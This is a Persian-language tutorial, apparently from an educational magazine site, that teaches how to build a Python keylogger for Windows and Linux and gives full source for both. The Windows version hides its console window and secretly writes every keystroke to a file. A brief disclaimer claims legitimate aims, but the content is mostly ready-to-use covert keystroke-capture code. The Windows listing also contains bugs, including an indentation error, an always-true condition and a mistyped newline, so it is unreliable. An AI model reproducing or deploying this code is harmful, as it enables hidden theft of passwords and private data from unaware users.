در این مطلب، چگونگی ساخت کی لاگر در پایتون آموزش داده شده است. «کی‌لاگر» (Keylogger) به نرم‌افزاری گفته می‌شود که کلیدهای فشرده شده روی صفحه کلید را ذخیره می‌کند. به این کار، «ثبت صفحه کلید» (Keyboard Capturing) نیز گفته می‌شود. کی‌لاگرها معمولا کار خود را به صورت پنهانی انجام می‌دهند و فردی که با کامپیوتر کار می‌کند، از اینکه یک کی‌لاگر در حال ذخیره‌سازی کلیدهای فشرده شده توسط او است، خبر ندارد.

این برنامه‌های کامپیوتری برای کار روی نرم‌افزارهای کامپیوتر هدف طراحی شده‌اند. کی‌لاگرها در واحدهای IT سازمان‌ها برای خطایای مسائل فنی درون کامپیوترها و همچنین، در شبکه‌ها استفاده می‌شوند. خانواده‌ها و کسب و کارها از کی‌لاگرها به صورت قانونی برای نظارت بر استفاده از شبکه بدون اطلاع مستقیم کاربرها بهره می‌برند. اگرچه، افراد مخرب می‌توانند از کی‌لاگرها روی کامپیوترهای عمومی برای سرقت گذرواژه‌ها یا اطلاعات کارت‌های اعتباری استفاده می‌کنند. به طور کلی، کی‌لاگرها را می‌توان برای مقاصد خوب و یا بد استفاده کرد. در اینجا، هدف از بیان روش ساخت کی لاگر در پایتون، استفاده از آن برای اهداف مثبتی مانند خطایابی و چنین مواردی است؛ بدیهی است عواقب هر گونه استفاده دیگر از این مطلب بر عهده کاربر بوده و مجله فرادرس در قبال آن مسئولیتی را نمی‌پذیرد. در این مطلب، چگونگی ساخت کی لاگر در پایتون برای سیستم عامل‌های ویندوز و لینوکس بیان شده است. برای این کار باید کتابخانه‌های پایتون زیر را دانلود کرد.

  • pywin32 [+]
  • ‘pyhook [+]

ساخت کی لاگر در پایتون برای سیستم‌عامل ویندوز

در ادامه، کد لازم برای ساخت کی‌لاگر در پایتون برای سیستم‌عامل ویندوز ارائه شده است.

# Python code for keylogger 
# to be used in windows 
import win32api 
import win32console 
import win32gui 
import pythoncom, pyHook 
  
win = win32console.GetConsoleWindow() 
win32gui.ShowWindow(win, 0) 
  
def OnKeyboardEvent(event): 
    if event.Ascii==5: 
        _exit(1) 
    if event.Ascii !=0 or 8: 
    #open output.txt to read current keystrokes 
        f = open('c:\output.txt', 'r+') 
        buffer = f.read() 
        f.close() 
    # open output.txt to write current + new keystrokes 
        f = open('c:\output.txt', 'w') 
        keylogs = chr(event.Ascii) 
        if event.Ascii == 13: 
        keylogs = '/n'
        buffer += keylogs 
        f.write(buffer) 
        f.close() 
# create a hook manager object 
hm = pyHook.HookManager() 
hm.KeyDown = OnKeyboardEvent 
# set the hook 
hm.HookKeyboard() 
# wait forever 
pythoncom.PumpMessages()

اکنون، باید فایل در ویندوز، در مسیر C:\‎ و با عنوان Keylogger.py ذخیره و پس از آن، فایل پایتون اجرا شود. خروجی قطعه کد بالا، به این صورت است که کی‌لاگر در پس‌زمینه شروع به کار می‌کند و همه داده‌ها را روی فایل لوگ «“c:\output.txt» ذخیره می‌کند.

ساخت کی لاگر در پایتون برای سیستم‌عامل لینوکس

pyxhook نیازمند آن است که python-xlib نصب شده باشد. در صورتی که این مورد روی سیستم کاربر نصب نباشد، باید آن را با استفاده از دستور زیر نصب کرد.

sudo apt-get install python-xlib

کتابخانه pyxhook را می‌توان از اینجا [+] دانلود کرد.

# Python code for keylogger 
# to be used in linux 
import os 
import pyxhook 
  
# This tells the keylogger where the log file will go. 
# You can set the file path as an environment variable ('pylogger_file'), 
# or use the default ~/Desktop/file.log 
log_file = os.environ.get( 
    'pylogger_file', 
    os.path.expanduser('~/Desktop/file.log') 
) 
# Allow setting the cancel key from environment args, Default: ` 
cancel_key = ord( 
    os.environ.get( 
        'pylogger_cancel', 
        '`'
    )[0] 
) 
  
# Allow clearing the log file on start, if pylogger_clean is defined. 
if os.environ.get('pylogger_clean', None) is not None: 
    try: 
        os.remove(log_file) 
    except EnvironmentError: 
       # File does not exist, or no permissions. 
        pass
  
#creating key pressing event and saving it into log file 
def OnKeyPress(event): 
    with open(log_file, 'a') as f: 
        f.write('{}\n'.format(event.Key)) 
  
# create a hook manager object 
new_hook = pyxhook.HookManager() 
new_hook.KeyDown = OnKeyPress 
# set the hook 
new_hook.HookKeyboard() 
try: 
    new_hook.start()         # start the hook 
except KeyboardInterrupt: 
    # User cancelled from command line. 
    pass
except Exception as ex: 
    # Write exceptions to the log file, for analysis later. 
    msg = 'Error while catching events:\n  {}'.format(ex) 
    pyxhook.print_err(msg) 
    with open(log_file, 'a') as f: 
        f.write('\n{}'.format(msg)) 

خروجی قطعه کد بالا به این صورت است که کی‌لاگر در پس‌زمینه شروع به فعالیت و همه داده‌ها را در فایل file.log در مسیر /home/akash/Desktop ذخیره می‌کند. البته، نام کاربری (که در اینجا aksh است) برای سیستم‌های مختلف متفاوت است و هر فردی، باید  آدرس پوشه کاری خودش را در کد وارد کند.

اگر نوشته بالا برای شما مفید بوده است، آموزش‌های زیر نیز به شما پیشنهاد می‌شوند:

^^

بر اساس رای ۷ نفر
آیا این مطلب برای شما مفید بود؟
شما قبلا رای داده‌اید!
اگر بازخوردی درباره این مطلب دارید یا پرسشی دارید که بدون پاسخ مانده است، آن را از طریق بخش نظرات مطرح کنید.

«الهام حصارکی»، فارغ‌التحصیل مقطع کارشناسی ارشد مهندسی فناوری اطلاعات، گرایش سیستم‌های اطلاعات مدیریت است. او در زمینه هوش مصنوعی و داده‌کاوی، به ویژه تحلیل شبکه‌های اجتماعی، فعالیت می‌کند.